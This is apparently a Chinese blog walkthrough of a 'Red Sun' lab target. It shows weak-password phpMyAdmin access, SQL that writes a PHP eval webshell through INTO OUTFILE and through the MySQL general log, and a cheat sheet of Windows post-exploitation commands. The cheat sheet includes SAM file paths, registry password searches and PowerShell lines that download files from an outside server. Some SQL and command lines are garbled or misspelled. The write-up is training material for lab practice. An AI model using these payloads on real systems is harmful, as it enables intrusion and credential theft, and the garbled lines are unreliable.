【紅日靶場】靶機簡單復現水文章【第一篇】


當你的才華

還撐不起你的野心時

那你就應該靜下心來學習


目錄

0x01 開始

0x02 日誌利用提權

0x03 獲取敏感信息


 

0x01 開始

已知IP段如下:

      公網:192.168.0.139

      內網:192.168.244.139

                  192.168.244.130

 

1. 我們能先訪問開放了Web 服務的主機

    192.168.0.139 ,發現額哼?出現phpstudy 探針

2. 順手Nmap 探測一下開放了有啥端口

3. 順路目錄掃描探測哈,發現存在phpmyadmin

5. 訪問phpmyadmin,嘗試是否存在弱口令,root/root或root/密碼爲空

6. 連接成功?那麼我們直接訪問剛剛目錄掃描出來的phpmyadmin路徑 

    http://192.168.0.139/phpmyadmin/index.php

輸入賬號root 密碼root,成功登陸phpMyadmin

7. 此時,我們應該幹嘛? 都拿到數據庫後臺管理權限了,還是root權限,不拿Webshell 的黑客,不是一個好黑客,日它。

    這裏有很多數據庫,我們選擇mysql,點擊SQL 查詢

8. 嘗試寫WebShell

    寫WebShell 需要兩個條件:知道絕對路徑和擁有執行權限

    phpmyadmiN 後臺寫Webshell 的時候,發現自己還不知道絕對路徑,記憶中好像看到剛剛在目錄掃描中看到phpinfo.php,感覺有戲。走一波

CREATE TABLE agantable(cmd test NOT NULL);

INSERT INTO agantable(cmd) VALUE('<?php @eval ($_post('520');?>')

SELECT cmd FROM agantable INFO OUTEFILE ' '

DROP TABLE IF EXISTS agantable

select '<?php @eval($_POST[agan]);?>' into outfile 'C:/phpStudy/WWW/agan1.php'

日誌來寫入一句話select '<?php @eval($_POST[agan]);?>'

 

phpinfo頁面

1. 操作系統爲Windows 7 Business Edition Service Pack 1或Windows NT STU1 6.1 build 7601

2. 服務使用爲Apache 2.0 Handler

3. 網站路徑:C:/phpStudy/www (DOCUMENT_ROOT)

4. 網站真實IP:192.168.0.139 (SERVER_ADDR)

5. 一些敏感配置:發現,allow_url_include(關閉)

allow_url_include  #該項如果開啓,則支持遠程文件包含,如果有存在文件包含的文件則可直接getshell,或可以使用php僞協議

disable_function   #該項表示禁用的函數名

magic_quotes_gpc #php5.4以下版本有的函數,默認開啓,會對特殊字符進行轉移(php5.3.4以下 + magic_quotes_gpc off 可%00截斷)

6. php版本信息爲PHP 5.4.45

7. GOPHER 協議

也算是ssrf一部分吧,或者說主要靠ssrf利用起來,如果支持gopher,ssrf便沒有壓力咯

8. fastcgi (無開)

查看是否開啓fastcgi和fastcgi的版本,可能導致解析漏洞、遠程命令執行、任意文件讀取等問題

9. php擴展路徑(extension_dir)

php擴展的路徑

10. asp_tags(無開)

php標籤有四種格式,這個是asp風格的,默認不開啓。可以上傳.haccess/user.ini 繞過(php7移除)

11. magic_quotes_gpc(此版本無該參數)

魔術引號,它是用來實現addslshes()和stripslashes()這兩個功能的,對SQL注入進行防禦。

順便提一嘴用了addslshes()除非是有編碼問題要不然是不存在注入的。

12. open_basedir(無限制)

將用戶可操作的文件限制在某目錄下

13. imagick

這個的遠程執行

14. libxml

libxml 2.9以前的版本默認支持並開啓了外部實體的引用,

服務端解析用戶提交的 xml 文件時未對 xml 文件引用的外部實體

(含外部普通實體和外部參數實體)做合適的處理,會導致XXE。

15. memcache

Memcache未授權訪問漏洞利用及修復:

http://blog.nsfocus.net/memcache-unauthorized-access-exploit/

16. redis

17. session

18. xdebug

19. fastcgi

20. 泄漏緩存文件地址(_FILES[“file1”])

向phpinfo() post一個shell可以在_FILES[“file1”]中看到上傳的臨時文件,

如果有個lfi,便可以直接getshell了(使用條件競爭)。

https://www.freebuf.com/articles/web/79830.html

 

Sercure_file_priv 變量值爲空不可讀寫,且變量只讀不可編輯

這個參數用來限制數據導入和導出操作的效果,例如執行LOAD DATA、SELECT … INTO OUTFILE語句和LOAD_FILE()函數。這些操作需要用戶具有FILE權限。

如果這個參數爲空,這個變量沒有效果;

如果這個參數設爲一個目錄名,MySQL服務只允許在這個目錄中執行文件的導入和導出操作。這個目錄必須存在,MySQL服務不會創建它;

如果這個參數爲NULL,MySQL服務會禁止導入和導出操作。

這個參數在MySQL 5.7.6版本引入secure_file_priv的值默認爲NULL。並且無法用sql語句對其進行修改,只能夠通過以下方式修改

windows下:

修改mysql.ini 文件,在[mysqld] 下添加條目: secure_file_priv =

保存,重啓mysql。

Linux下:

在/etc/my.cnf的[mysqld]下面添加local-infile=0選項。

 

0x02 日誌利用提權

      在php文件包含漏洞中我們有過這種利用方法:攻擊時進行一次附帶代碼的url請求,在日誌記錄這次請求之後,通過文件包含漏洞來包含這個日誌文件,從而執行請求中的代碼。

      mysql也具有日誌,我們也可以通過日誌來getshell。

      mysql日誌主要包含:錯誤日誌、查詢日誌、慢查詢日誌、事務日誌。

      PS:因爲爲了性能考慮,一般general log不會開啓。slow log可以定位一些有性能問題的sql,而general log會記錄所有的SQL。

      MySQL5.0版本,如果要開啓slow log、general log,需要重啓。

      MySQL5.1.6版開始,general query log和slow query log開始支持寫到文件或者數據庫表兩種方式,並且日誌的開啓,輸出方式的修改,都可以在Global級別動態修改。

set global general_log = ON;
set global general_log_file = 'C:/phpStudy/www/agan1.php';

PS:此時開啓了general_log 將所有查詢語句記錄到新指定的可訪問的文件中

訪問下看看http://192.168.0.139/agan1.php 看看,顯示亂碼(或我們看不懂的東西就對了),基本上成功上傳Webshell了

打開蟻劍(蟻劍在手,天下我有)

蟻劍連接WebShell 操作步驟:

  1. 打開蟻劍右鍵【添加數據】

2. 添加關鍵參數:URL地址和剛剛自己寫入日誌的WebShell 密碼,其次還有連接方式默認是PHP(我們滲透的網站也是PHP,那就保持默認吧)其它的參數也保持默認吧,需要再改

3. 雙擊URL地址連接

0x03 獲取敏感信息

下面是整理的信息收集手段,具體來自哪裏,我葉搞忘了,前段時間整理的時候,忘記寫明出處了,如果有知道的,可以聯繫我,我附上鍊接

查看當前權限

或echo %USERNAME%

主機名

所屬域信息

set 環境變量

wmic qfe list 獲取補丁情況

      但是其獲取的內容不是很完整,只能看到補丁的編號,下面這條命令可以獲取完整的補丁信息。

      wmic是一個非常強大的工具,可以做很多事情,在滲透測試中有很多機會使用它

sc query state= all註冊表服務信息

 

net view 獲取在線主機信息

      環境問題所致,所以看不到所處環境主機的信息

獲取本地用戶組、本地用戶、本地管理員信息

     1) 本地用戶組

net localgroup

      2)本地用戶

net user

            列舉用戶,查看是否有舊的用戶配置文件沒有清理

dir /b /ad "C:\Users\"

dir /b /ad "C:\Documents and Settings\" #Windows XP and below

      查看是否有其它人登錄

qwinsta

      查看註冊表中跟用戶自動登錄有關的內容

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>null | findstr "DefaultUserName DefaultDomainName DefaultPassword"

      查看Credential Manager中的內容:

cmdky /list

      確定是否可以訪問SAM和SYSTEM文件:           

%SYSTEMROOT%\repair\SAM

%SYSTEMROOT%\System32\config\RegBack\SAM

%SYSTEMROOT%\System32\config\SAM

%SYSTEMROOT%\repair\system

%SYSTEMROOT%\System32\config\SYSTEM

%SYSTEMROOT%\System32\config\RegBack\system

      3)本地管理員信息

net localgroup administrators

      獲取本地共享信息

net view /a \ %COMPUTRNAME%

            PS:本地共享目錄也是我們需要關注的目錄,這裏面可能會有很多對我們提升權限有幫助的重要文件。

      獲取IP信息

ipconfig /all

獲得本地端口開放與連接信息

 netstat  -ano

查看本地的計劃任務

at或schtask

      從計劃任務中我們可以瞭解,這臺主機每天做哪些任務,或者當前用戶經常做哪些操作,甚至可以通過計劃任務信息,可以獲取到用戶另外的帳號密碼信息。

列出iis的站點有哪些

%windir%\system32\inetsrv\AppCmd.exe list site

保存系統上所有註冊表信息

     這幾個命令比較暴力,有時候我們需要多次查詢註冊表信息,這樣就需要執行很多條命令,我們可以把系統的所有註冊表信息dump下來,本地分析,可以儘量減少執行命令的次數,減少日誌量,減少被發現的機率:        

 reg export HKLM hklm.reg

reg export HKCU hkcu.reg

reg export HKCU hkcr.reg

reg export HKCU hku.reg

reg export HKCU hkcc.reg

獲取系統日誌信息

     日誌信息不管在任何系統上都是非常重要的,所以在Windows信息收集方面,收集日誌信息是必不可少的操作,獲取日誌的方式有兩種,一種是可以將系統的日誌複製回本地分析,一種是使用Windows官方的工具將日誌導出然後保存到本地。

     複製日誌文件:          

copy C:\Windows\System32\winevt\Logs\System.evtx

copy C:\Windows\System32\winevt\Logs\security.evtx

copy C:\Windows\System32\winevt\Logs\application.evtx

     使用工具導出:        

 ..\psloglist -x system > system.log

..\psloglist -x security > security.log

..\psloglist -x application > application.log

查看連接驅動     

net use

wmic logicaldisk  get  caption,description,providername

查看安裝了什麼軟件

dir /a "C:\Program Files"

dir /a "C"\Program Files(x86)"

reg query HEKY_LOCAL_MACHIN\SOFTWARE

有沒有文件夾或文件權限配置錯誤,查看“Program Files”和“Program Files (x86)”下對“Everyone”和“Users”開放所有權限的文件夾

icals "C:\Program Files\*" 2>null | findstr "(F)" | findstr "Everyone"

icals "C:\Program Files(x86\*)" 2>null |findstr "(F)" | findstr "Everyone"


icals "C:\Program Files\*" 2>null | findstr "(F)" | findstr "BUILIN\Users"

icals "C:\Program Files(x86\*)" 2>null | findstr "(F)" |findstr "BUILIN\Users"

 

查看“Program Files”和“Program Files (x86)”下對“Everyone”和“Users”開放修改權限的文件夾:

icals "C:\Program Files\*" 2>null | findstr "(M)" | findstr "Everyone"

icals "C:\Program Files(x86\*)" 2>null |findstr "(M)" | findstr "Everyone"


icals "C:\Program Files\*" 2>null | findstr "(M)" | findstr "BUILIN\Users"

icals "C:\Program Files(x86\*)" 2>null | findstr "(M)" |findstr "BUILIN\Users"

你也可以從Sysinternals上傳accesschk來檢查可寫文件夾和文件:

accesschk.exe -qwsu "Everyone" *

accesschk.exe -qwsu "Authenticated Users" *

accesschk.exe -qwsu "Users" *

查看系統上正在運行的進程/服務有哪些,以及有沒有暴露的內部服務:

tasklist /svc

taskkill /v

net start

sc query

使用accesschk查看權限配置較弱的服務,以及能否重新配置

accesschk.exe -uwcqv "Everyone" *

accesschk.exe -uwcqv "Authenticated Users" *

accesschk.exe -uwcqv "Users" *

查看未引用的服務路徑:

wmic service get name.displayname,pathma,e,startmode 2>nul | findstr /i "Auto" 2>nul | findstr /i /v "C:\Windows\\" 2>nul | findstr /i /v """

查看計劃任務和自定義實現:

schtasks /query /fo LIST 2>nul | findstr TaskName

dir C:\windows\tasks

查看啓動項:

wmic startup get caption,command

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"

dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

注意AlwaysInstallElevated是否啓用:

reg query HKCU\Software\Microsoft\Windows\Installer /v AlwaysInstallElevated

查看路由器信息

route print

查看ARP 緩存

arp -a

查看是否連接到其它主機

netstat -ano

查看hosts文件

C:\WINDOWS\System32\drivers\etc\hosts

檢查防火牆

netsh firewall show state

netsh firewall show config

netsh advfirewall firewall show rule name=all

netsh advfirewall export "firewall.txt"

查看接口配置

netsh dump

查看SNMP配置

reg query HKLM\SYSTEM\CurrentControlSet'Services\SNMP /s

查看註冊表中的密碼

reg query HKCU /f password /t REG_SZ /s

reg query HKLM /f password /t REG_SZ /s

查找有沒有未清理的sysprep或無人值守的文件:

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

如果服務器是IIS網絡服務器,那麼inetpub中有什麼?是否存在隱藏的目錄或者web.config文件:

dir /a C:\inetpub\

dir /s Web.config

C:\Windows\System32\inetsrv\config\applicationHost.config

查看日誌:

c:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log

c:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log

c:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log

c:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log

檢查是否安裝了XAMPP,Apache或PHP,以及是否有XAMPP,Apache或PHP的配置文件

dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf

查看是否有Apache網絡日誌

dir /s acces.log error.log

查看是否有其它有意思的文件,它們可能在用戶目錄中(桌面,文檔等):

dir /s *pass* == *vnc* == *.config* 2>nul

檢查其中是否有包含密碼的文件

findstr /si password *.xml *.ini *.txt *.config 2>nul

在提權過程中,你需要將文件放到你的目標上。下面是一些簡單方法:

Powershell Cmdlet(Powershell 3.0及更高版本):

Invoke-WebRequest "https://myserver/filename" -OutFile "C:\Windows\Temp\filename"

Powershell One-Liner:

(New-Object System.Net.WebClient).DownloadFile("https://myserver/filename","C:\Windows\Temp\filename")

參考鏈接(大部分內容來自如下文章):

               https://mp.weixin.qq.com/s/hL9OYa7HDeMvUWdv99gtrA

               https://mp.weixin.qq.com/s/nAGjUsre2Hg_IkCPXLxYDQ

               https://mp.weixin.qq.com/s/QLoXt5JTjHreUkZIg1uW3g


雖然我們生活在陰溝裏,但依然有人仰望星空!


 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章